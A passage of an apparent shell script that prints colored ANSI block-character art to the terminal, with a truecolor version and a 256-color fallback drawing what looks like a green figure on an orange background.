\e[48;2;255;147;0m\e[38;2;254;148;0m▄\e[48;2;255;147;0m\e[38;2;248;147;0m▄\e[48;2;254;147;0m\e[38;2;242;142;0m▄\e[48;2;204;116;0m\e[38;2;224;131;0m▄\e[48;2;200;115;0m\e[38;2;205;124;1m▄\e[48;2;199;115;0m\e[38;2;175;109;2m▄\e[48;2;172;100;0m\e[38;2;157;102;2m▄\e[48;2;168;97;0m\e[38;2;172;114;3m▄\e[48;2;206;119;0m\e[38;2;156;115;5m▄\e[48;2;215;125;0m\e[38;2;138;111;7m▄\e[48;2;180;105;0m\e[38;2;121;105;8m▄\e[48;2;233;136;0m\e[38;2;120;109;8m▄\e[48;2;254;148;0m\e[38;2;116;111;9m▄\e[48;2;254;148;0m\e[38;2;112;111;10m▄\e[48;2;255;148;0m\e[38;2;130;121;10m▄\e[48;2;254;148;0m\e[38;2;103;105;10m▄\e[48;2;254;148;0m\e[38;2;99;99;9m▄\e[48;2;254;148;0m\e[38;2;106;98;8m▄\e[48;2;254;148;0m\e[38;2;106;96;8m▄\e[48;2;255;148;0m\e[38;2;118;98;7m▄\e[48;2;255;147;0m\e[38;2;123;101;7m▄\e[48;2;255;147;0m\e[38;2;129;99;6m▄\e[48;2;255;147;0m\e[38;2;141;100;5m▄\e[48;2;255;147;0m\e[38;2;166;111;4m▄\e[48;2;255;147;0m\e[38;2;189;122;4m▄\e[48;2;255;147;0m\e[38;2;217;131;1m▄\e[48;2;255;147;0m\e[38;2;248;145;0m▄\e[48;2;255;147;0m\e[38;2;250;148;0m▄\e[48;2;255;147;0m\e[38;2;254;149;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;249;147;1m\e[38;2;254;147;0m▄\e[48;2;47;44;15m\e[38;2;81;54;7m▄\e[0m - \e[48;2;163;95;0m\e[38;2;176;103;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;254;147;0m▄\e[48;2;255;147;0m\e[38;2;250;144;0m▄\e[48;2;255;147;0m\e[38;2;238;146;1m▄\e[48;2;254;147;0m\e[38;2;170;117;4m▄\e[48;2;252;147;0m\e[38;2;78;65;5m▄\e[48;2;239;144;1m\e[38;2;36;71;11m▄\e[48;2;220;136;2m\e[38;2;41;122;21m▄\e[48;2;193;124;2m\e[38;2;59;179;31m▄\e[48;2;178;119;4m\e[38;2;69;210;35m▄\e[48;2;129;104;6m\e[38;2;73;219;37m▄\e[48;2;67;87;10m\e[38;2;73;219;37m▄\e[48;2;61;106;15m\e[38;2;73;218;37m▄\e[48;2;52;126;21m\e[38;2;73;218;37m▄\e[48;2;52;150;25m\e[38;2;73;218;37m▄\e[48;2;58;177;30m\e[38;2;73;218;37m▄\e[48;2;63;194;33m\e[38;2;73;218;37m▄\e[48;2;66;204;34m\e[38;2;73;218;37m▄\e[48;2;69;212;36m\e[38;2;73;218;37m▄\e[48;2;72;217;36m\e[38;2;73;218;37m▄\e[48;2;72;219;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;74;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;219;37m\e[38;2;73;218;37m▄\e[48;2;72;214;36m\e[38;2;73;218;37m▄\e[48;2;68;207;35m\e[38;2;73;218;37m▄\e[48;2;65;197;34m\e[38;2;73;218;37m▄\e[48;2;61;185;32m\e[38;2;73;218;37m▄\e[48;2;51;157;27m\e[38;2;73;218;37m▄\e[48;2;41;125;21m\e[38;2;73;218;37m▄\e[48;2;40;106;18m\e[38;2;73;218;37m▄\e[48;2;75;92;10m\e[38;2;73;218;37m▄\e[48;2;76;85;10m\e[38;2;73;219;37m▄\e[48;2;112;94;7m\e[38;2;72;216;36m▄\e[48;2;162;113;5m\e[38;2;64;194;33m▄\e[48;2;219;131;0m\e[38;2;50;152;26m▄\e[48;2;231;138;1m\e[38;2;30;65;14m▄\e[48;2;252;147;0m\e[38;2;106;71;5m▄\e[48;2;97;61;4m\e[38;2;30;31;7m▄\e[0m - \e[48;2;186;108;0m\e[38;2;185;108;0m▄\e[48;2;255;147;0m\e[38;2;254;148;0m▄\e[48;2;255;147;0m\e[38;2;247;144;0m▄\e[48;2;255;147;0m\e[38;2;188;113;1m▄\e[48;2;255;147;0m\e[38;2;110;100;8m▄\e[48;2;248;147;0m\e[38;2;72;136;20m▄\e[48;2;206;124;1m\e[38;2;62;175;29m▄\e[48;2;115;81;4m\e[38;2;67;204;34m▄\e[48;2;55;92;13m\e[38;2;72;217;36m▄\e[48;2;60;157;26m\e[38;2;73;218;37m▄\e[48;2;66;195;32m\e[38;2;73;218;37m▄\e[48;2;70;212;35m\e[38;2;73;218;37m▄\e[48;2;72;215;36m\e[38;2;73;218;37m▄\e[48;2;73;217;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;71;210;37m\e[38;2;71;214;37m▄\e[48;2;58;142;37m\e[38;2;57;136;37m▄\e[48;2;51;109;39m\e[38;2;54;109;40m▄\e[48;2;36;76;26m\e[38;2;38;71;31m▄\e[0m - \e[48;2;73;63;12m\e[38;2;24;46;20m▄\e[48;2;89;67;7m\e[38;2;54;120;38m▄\e[48;2;67;119;19m\e[38;2;66;192;35m▄\e[48;2;61;177;29m\e[38;2;73;217;37m▄\e[48;2;71;213;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;71;214;35m\e[38;2;42;129;21m▄\e[48;2;43;131;22m\e[38;2;4;10;2m▄\e[48;2;37;111;19m\e[38;2;4;10;2m▄\e[48;2;60;180;30m\e[38;2;7;22;3m▄\e[48;2;73;218;37m\e[38;2;62;187;31m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;72;217;36m▄\e[48;2;69;208;35m\e[38;2;20;61;10m▄\e[48;2;43;129;22m\e[38;2;4;11;2m▄\e[48;2;38;116;19m\e[38;2;3;8;1m▄\e[48;2;64;192;32m\e[38;2;19;57;10m▄\e[48;2;73;218;37m\e[38;2;73;219;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;214;36m\e[38;2;71;213;36m▄\e[48;2;55;130;37m\e[38;2;55;123;38m▄\e[48;2;54;108;41m\e[38;2;56;110;44m▄\e[48;2;35;60;30m\e[38;2;35;57;30m▄\e[0m - \e[48;2;37;68;29m\e[38;2;38;61;33m▄\e[48;2;58;132;39m\e[38;2;62;134;45m▄\e[48;2;64;179;36m\e[38;2;55;129;37m▄\e[48;2;72;217;36m\e[38;2;71;210;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;27;82;14m\e[38;2;59;178;30m▄\e[48;2;4;11;3m\e[38;2;3;9;1m▄\e[48;2;0;0;0m\e[38;2;8;18;4m▄\e[48;2;1;3;1m\e[38;2;4;12;2m▄\e[48;2;36;112;19m\e[38;2;54;163;27m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;70;210;36m\e[38;2;72;217;36m▄\e[48;2;4;11;1m\e[38;2;9;28;4m▄\e[48;2;0;0;0m\e[38;2;6;16;3m▄\e[48;2;1;3;1m\e[38;2;6;15;3m▄\e[48;2;13;39;6m\e[38;2;32;94;15m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;70;207;36m\e[38;2;67;196;36m▄\e[48;2;52;110;38m \e[48;2;57;101;47m\e[38;2;56;90;47m▄\e[48;2;36;55;31m\e[38;2;38;58;33m▄\e[0m - \e[48;2;40;63;35m\e[38;2;43;67;38m▄\e[48;2;61;117;48m\e[38;2;45;80;38m▄\e[48;2;54;114;39m\e[38;2;52;110;38m▄\e[48;2;64;177;36m\e[38;2;59;150;37m▄\e[48;2;72;217;36m\e[38;2;72;214;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;36m\e[38;2;73;218;37m▄\e[48;2;61;182;30m\e[38;2;73;218;37m▄\e[48;2;45;135;22m\e[38;2;73;218;37m▄\e[48;2;58;174;29m\e[38;2;73;218;37m▄\e[48;2;72;217;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;71;212;35m\e[38;2;72;216;36m▄\e[48;2;34;101;17m\e[38;2;11;32;5m▄\e[48;2;34;101;17m\e[38;2;1;2;1m▄\e[48;2;34;98;18m\e[38;2;1;3;1m▄\e[48;2;35;101;18m\e[38;2;1;1;1m▄\e[48;2;35;100;17m\e[38;2;1;3;1m▄\e[48;2;57;170;29m\e[38;2;56;168;28m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;36m\e[38;2;72;218;36m▄\e[48;2;66;197;33m\e[38;2;72;217;36m▄\e[48;2;46;139;23m\e[38;2;73;217;37m▄\e[48;2;54;163;27m\e[38;2;72;217;37m▄\e[48;2;71;212;36m\e[38;2;72;217;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;37m\e[38;2;70;204;36m▄\e[48;2;60;158;37m\e[38;2;53;122;37m▄\e[48;2;52;103;38m\e[38;2;52;104;40m▄\e[48;2;33;54;28m\e[38;2;21;34;18m▄\e[48;2;46;70;41m\e[38;2;49;76;44m▄\e[0m - \e[48;2;49;76;44m\e[38;2;51;78;45m▄\e[48;2;32;51;28m\e[38;2;43;65;37m▄\e[48;2;61;125;45m\e[38;2;81;124;71m▄\e[48;2;54;124;38m\e[38;2;53;113;40m▄\e[48;2;68;202;36m\e[38;2;60;156;37m▄\e[48;2;73;218;37m\e[38;2;72;215;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;73;216;37m▄\e[48;2;73;217;37m\e[38;2;93;205;61m▄\e[48;2;79;213;44m\e[38;2;121;189;95m▄\e[48;2;85;210;51m\e[38;2;132;184;108m▄\e[48;2;82;211;47m\e[38;2;121;191;93m▄\e[48;2;73;217;37m\e[38;2;85;210;52m▄\e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;37;111;20m\e[38;2;71;214;36m▄\e[48;2;1;2;0m\e[38;2;44;128;22m▄\e[48;2;2;4;2m\e[38;2;15;39;8m▄\e[48;2;1;1;1m\e[38;2;29;82;14m▄\e[48;2;13;37;7m\e[38;2;68;204;34m▄\e[48;2;70;210;35m\e[38;2;73;218;37m▄\e[48;2;73;217;37m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;217;37m\e[38;2;74;216;38m▄\e[48;2;82;211;47m\e[38;2;118;191;90m▄\e[48;2;100;200;70m\e[38;2;132;185;108m▄\e[48;2;103;201;72m\e[38;2;127;187;101m▄\e[48;2;98;203;67m\e[38;2;125;189;100m▄\e[48;2;85;209;52m\e[38;2;116;192;88m▄\e[48;2;73;217;37m\e[38;2;80;211;44m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;36m\e[38;2;68;200;35m▄\e[48;2;63;170;35m\e[38;2;54;125;36m▄\e[48;2;51;103;38m\e[38;2;51;99;38m▄\e[48;2;49;101;36m\e[38;2;22;45;17m▄\e[48;2;30;47;26m\e[38;2;45;69;39m▄\e[48;2;51;78;45m \e[0m - \e[48;2;51;78;45m \e[48;2;49;75;43m\e[38;2;51;78;45m▄\e[48;2;30;38;27m\e[38;2;39;59;35m▄\e[48;2;63;123;49m\e[38;2;71;110;62m▄\e[48;2;54;121;37m\e[38;2;56;119;40m▄\e[48;2;68;198;37m\e[38;2;60;158;37m▄\e[48;2;73;218;37m\e[38;2;71;216;36m▄\e[48;2;73;217;37m\e[38;2;73;216;38m▄\e[48;2;91;206;58m\e[38;2;110;196;81m▄\e[48;2;122;191;95m\e[38;2;126;188;100m▄\e[48;2;128;186;102m\e[38;2;130;187;104m▄\e[48;2;140;180;116m\e[38;2;128;187;103m▄\e[48;2;126;188;100m\e[38;2;106;197;76m▄\e[48;2;96;202;64m\e[38;2;75;215;39m▄\e[48;2;73;217;37m\e[38;2;72;218;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;74;220;37m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;74;217;38m\e[38;2;73;217;37m▄\e[48;2;114;194;86m\e[38;2;76;215;40m▄\e[48;2;142;178;121m\e[38;2;94;205;62m▄\e[48;2;150;176;129m\e[38;2;109;196;81m▄\e[48;2;142;180;120m\e[38;2;95;203;63m▄\e[48;2;116;193;88m\e[38;2;76;214;41m▄\e[48;2;78;213;44m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;67;196;36m▄\e[48;2;71;209;37m\e[38;2;60;154;36m▄\e[48;2;59;152;36m\e[38;2;57;138;37m▄\e[48;2;52;110;38m\e[38;2;56;130;37m▄\e[48;2;51;104;38m\e[38;2;30;71;21m▄\e[48;2;20;31;17m\e[38;2;45;69;39m▄\e[48;2;50;78;44m\e[38;2;51;78;45m▄\e[48;2;51;78;45m \e[0m - \e[48;2;51;78;45m\e[38;2;28;43;24m▄\e[48;2;51;78;45m\e[38;2;43;64;38m▄\e[48;2;51;78;45m\e[38;2;52;79;46m▄\e[48;2;34;53;30m\e[38;2;46;71;41m▄\e[48;2;64;124;48m\e[38;2;49;106;36m▄\e[48;2;53;115;38m\e[38;2;57;124;40m▄\e[48;2;63;175;36m\e[38;2;55;126;38m▄\e[48;2;73;217;37m\e[38;2;66;186;36m▄\e[48;2;89;208;56m\e[38;2;73;217;37m▄\e[48;2;111;195;82m\e[38;2;75;215;40m▄\e[48;2;109;197;80m\e[38;2;74;216;38m▄\e[48;2;85;209;52m\e[38;2;73;218;36m▄\e[48;2;73;216;37m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;217;37m\e[38;2;73;218;37m▄\e[48;2;73;217;37m\e[38;2;73;218;37m▄\e[48;2;73;217;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m\e[38;2;71;214;36m▄\e[48;2;71;212;36m\e[38;2;63;172;36m▄\e[48;2;63;174;35m\e[38;2;57;138;37m▄\e[48;2;58;146;36m\e[38;2;57;137;38m▄\e[48;2;58;139;37m\e[38;2;57;138;37m▄\e[48;2;58;138;37m\e[38;2;54;128;35m▄\e[48;2;50;117;34m\e[38;2;20;44;14m▄\e[48;2;20;32;17m\e[38;2;39;61;34m▄\e[48;2;51;77;44m\e[38;2;45;69;40m▄\e[48;2;51;78;45m\e[38;2;45;69;40m▄\e[48;2;51;78;45m\e[38;2;49;75;43m▄\e[0m - \e[48;2;84;151;67m\e[38;2;98;177;78m▄\e[48;2;43;80;34m\e[38;2;98;177;78m▄\e[48;2;22;39;19m\e[38;2;98;178;78m▄\e[48;2;43;67;38m\e[38;2;81;148;64m▄\e[48;2;40;70;33m\e[38;2;44;78;36m▄\e[48;2;54;127;36m\e[38;2;21;47;15m▄\e[48;2;55;120;39m\e[38;2;54;117;39m▄\e[48;2;56;133;37m\e[38;2;59;133;40m▄\e[48;2;71;211;36m\e[38;2;61;164;37m▄\e[48;2;73;217;36m\e[38;2;71;211;36m▄\e[48;2;73;218;37m\e[38;2;72;218;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;72;217;36m▄\e[48;2;73;218;37m\e[38;2;67;203;34m▄\e[48;2;68;194;37m\e[38;2;40;116;21m▄\e[48;2;58;142;36m\e[38;2;8;21;5m▄\e[48;2;49;120;31m\e[38;2;6;10;5m▄\e[48;2;25;59;16m\e[38;2;73;108;65m▄\e[48;2;15;33;11m\e[38;2;95;157;79m▄\e[48;2;12;25;9m\e[38;2;97;175;77m▄\e[48;2;21;32;19m\e[38;2;99;179;79m▄\e[48;2;23;35;19m\e[38;2;98;178;78m▄\e[48;2;20;34;17m\e[38;2;98;178;78m▄\e[48;2;13;24;11m\e[38;2;98;178;78m▄\e[48;2;16;26;14m\e[38;2;98;177;78m▄\e[0m - \e[48;2;97;176;77m\e[38;2;58;103;46m▄\e[48;2;98;177;78m\e[38;2;94;170;75m▄\e[48;2;98;177;78m\e[38;2;99;179;79m▄\e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;97;176;77m\e[38;2;98;177;78m▄\e[48;2;91;165;72m\e[38;2;98;177;78m▄\e[48;2;55;100;44m\e[38;2;98;177;78m▄\e[48;2;15;27;10m\e[38;2;92;168;73m▄\e[48;2;24;46;18m\e[38;2;76;138;61m▄\e[48;2;73;154;53m\e[38;2;54;96;43m▄\e[48;2;74;213;39m\e[38;2;24;48;18m▄\e[48;2;74;222;37m\e[38;2;20;55;11m▄\e[48;2;73;217;37m\e[38;2;31;91;16m▄\e[48;2;73;218;37m\e[38;2;49;145;24m▄\e[48;2;73;218;37m\e[38;2;68;201;35m▄\e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;74;220;37m▄\e[48;2;73;218;37m\e[38;2;73;219;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;73;220;37m▄\e[48;2;73;218;37m\e[38;2;72;214;37m▄\e[48;2;73;218;37m\e[38;2;63;187;32m▄\e[48;2;72;217;36m\e[38;2;41;120;22m▄\e[48;2;74;222;36m\e[38;2;21;52;13m▄\e[48;2;67;203;34m\e[38;2;39;62;34m▄\e[48;2;40;117;21m\e[38;2;64;103;54m▄\e[48;2;14;43;7m\e[38;2;72;126;57m▄\e[48;2;4;12;2m\e[38;2;87;156;69m▄\e[48;2;25;45;21m\e[38;2;97;174;78m▄\e[48;2;71;124;57m\e[38;2;99;177;80m▄\e[48;2;97;168;78m\e[38;2;94;170;75m▄\e[48;2;96;175;77m\e[38;2;103;177;84m▄\e[48;2;98;176;79m\e[38;2;109;183;90m▄\e[48;2;100;178;80m\e[38;2;112;185;94m▄\e[48;2;100;177;80m\e[38;2;111;184;92m▄\e[48;2;99;177;80m\e[38;2;107;182;89m▄\e[48;2;98;177;78m\e[38;2;105;182;85m▄\e[48;2;98;177;78m\e[38;2;103;180;83m▄\e[48;2;98;177;78m\e[38;2;99;177;79m▄\e[0m - \e[38;2;54;79;47m▀\e[38;2;72;123;60m▀\e[48;2;97;176;78m\e[38;2;65;87;60m▄\e[48;2;98;177;78m\e[38;2;73;130;59m▄\e[48;2;98;177;78m\e[38;2;91;165;72m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;96;172;77m\e[38;2;98;177;78m▄\e[48;2;82;147;65m\e[38;2;98;177;78m▄\e[48;2;66;116;52m\e[38;2;98;177;78m▄\e[48;2;46;78;38m\e[38;2;98;177;78m▄\e[48;2;27;51;20m\e[38;2;98;177;78m▄\e[48;2;28;60;20m\e[38;2;94;169;74m▄\e[48;2;28;67;19m\e[38;2;86;155;69m▄\e[48;2;34;96;19m\e[38;2;69;123;54m▄\e[48;2;42;126;21m\e[38;2;48;86;39m▄\e[48;2;51;148;27m\e[38;2;36;64;28m▄\e[48;2;55;164;28m\e[38;2;26;46;20m▄\e[48;2;60;180;30m\e[38;2;23;39;18m▄\e[48;2;62;186;31m\e[38;2;21;40;17m▄\e[48;2;61;181;31m\e[38;2;19;36;16m▄\e[48;2;67;176;40m\e[38;2;18;32;14m▄\e[48;2;63;173;35m\e[38;2;23;36;19m▄\e[48;2;56;168;29m\e[38;2;27;42;23m▄\e[48;2;53;160;27m\e[38;2;29;45;24m▄\e[48;2;44;133;22m\e[38;2;30;53;25m▄\e[48;2;34;102;17m\e[38;2;52;89;43m▄\e[48;2;20;60;10m\e[38;2;88;148;71m▄\e[48;2;24;47;19m\e[38;2;97;171;78m▄\e[48;2;34;62;27m\e[38;2;98;177;78m▄\e[48;2;55;99;44m\e[38;2;98;177;78m▄\e[48;2;80;144;64m\e[38;2;98;177;78m▄\e[48;2;99;176;79m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;99;177;79m▄\e[48;2;99;177;79m\e[38;2;96;172;76m▄\e[48;2;99;175;79m\e[38;2;85;151;68m▄\e[48;2;95;169;76m\e[38;2;72;121;60m▄\e[48;2;109;180;92m\e[38;2;37;57;32m▄\e[48;2;100;159;85m\e[38;2;38;41;36m▄\e[48;2;72;107;62m\e[38;2;74;74;74m▄\e[0m\e[38;2;44;65;38m▀\e[38;2;31;48;27m▀\e[38;2;31;48;26m▀\e[38;2;31;52;25m▀\e[38;2;41;71;34m▀\e[38;2;59;97;50m▀\e[0m - \e[38;2;95;106;94m▀\e[38;2;81;137;65m▀\e[38;2;91;166;73m▀\e[48;2;95;174;76m\e[38;2;61;73;59m▄\e[48;2;98;177;78m\e[38;2;33;66;26m▄\e[48;2;98;177;78m\e[38;2;81;143;65m▄\e[48;2;98;177;78m\e[38;2;102;182;81m▄\e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;99;179;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;97;177;77m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;78m▄\e[48;2;98;177;78m\e[38;2;99;179;78m▄\e[48;2;98;177;78m\e[38;2;93;169;74m▄\e[48;2;98;177;78m\e[38;2;56;106;44m▄\e[48;2;96;174;77m\e[38;2;16;31;13m▄\e[48;2;68;126;54m\e[38;2;58;58;58m▄\e[0m\e[38;2;28;50;23m▀\e[38;2;20;22;20m▀\e[0m - \e[38;2;41;52;39m▀\e[38;2;39;76;30m▀\e[38;2;73;136;57m▀\e[48;2;90;162;72m\e[38;2;96;100;95m▄\e[48;2;99;175;79m\e[38;2;60;69;58m▄\e[48;2;98;177;78m\e[38;2;46;59;43m▄\e[48;2;98;177;78m\e[38;2;32;51;27m▄\e[48;2;98;178;78m\e[38;2;28;50;23m▄\e[48;2;98;178;78m\e[38;2;28;55;22m▄\e[48;2;98;178;78m\e[38;2;35;64;28m▄\e[48;2;98;177;78m\e[38;2;41;75;33m▄\e[48;2;98;177;78m\e[38;2;50;89;41m▄\e[48;2;98;177;77m\e[38;2;54;89;45m▄\e[48;2;98;177;77m\e[38;2;53;89;44m▄\e[48;2;98;177;78m\e[38;2;49;86;39m▄\e[48;2;98;177;78m\e[38;2;45;83;36m▄\e[48;2;98;177;78m\e[38;2;40;74;32m▄\e[48;2;98;177;78m\e[38;2;35;64;28m▄\e[48;2;98;178;78m\e[38;2;39;60;33m▄\e[48;2;90;163;71m\e[38;2;55;61;53m▄\e[0m\e[38;2;53;97;41m▀\e[38;2;24;44;19m▀\e[38;2;36;41;35m▀\e[0m -'"; - else - echo " \e[48;5;108m \e[48;5;59m \e[48;5;71m \e[48;5;77m \e[48;5;22m \e[48;5;108m \e[48;5;114m \e[48;5;59m \e[49m - \e[48;5;108m \e[48;5;71m \e[48;5;22m \e[48;5;113m \e[48;5;71m \e[48;5;94m \e[48;5;214m \e[48;5;58m \e[48;5;214m \e[48;5;100m \e[48;5;71m \e[48;5;16m \e[48;5;108m \e[49m - \e[48;5;65m \e[48;5;16m \e[48;5;22m \e[48;5;214m \e[48;5;16m \e[48;5;214m \e[48;5;65m \e[49m - \e[48;5;65m \e[48;5;214m \e[48;5;16m \e[48;5;214m \e[48;5;16m \e[48;5;214m \e[48;5;136m \e[48;5;65m \e[49m - \e[48;5;23m \e[48;5;214m \e[48;5;178m \e[48;5;214m \e[48;5;65m \e[49m - \e[48;5;16m \e[48;5;214m \e[48;5;136m \e[48;5;94m \e[48;5;136m \e[48;5;214m \e[48;5;65m \e[49m - \e[48;5;58m \e[48;5;214m \e[48;5;172m \e[48;5;64m \e[48;5;77m \e[48;5;71m \e[48;5;65m \e[49m - \e[48;5;16m \e[48;5;71m \e[48;5;77m \e[48;5;71m \e[48;5;77m \e[48;5;71m \e[48;5;77m \e[48;5;65m \e[49m - \e[48;5;59m \e[48;5;71m \e[48;5;77m \e[48;5;77m \e[48;5;16m \e[48;5;77m \e[48;5;16m \e[48;5;77m \e[48;5;65m \e[49m - \e[48;5;65m \e[48;5;77m \e[48;5;71m \e[48;5;16m \e[48;5;77m \e[48;5;113m \e[48;5;77m \e[48;5;65m \e[49m - \e[48;5;65m \e[48;5;16m 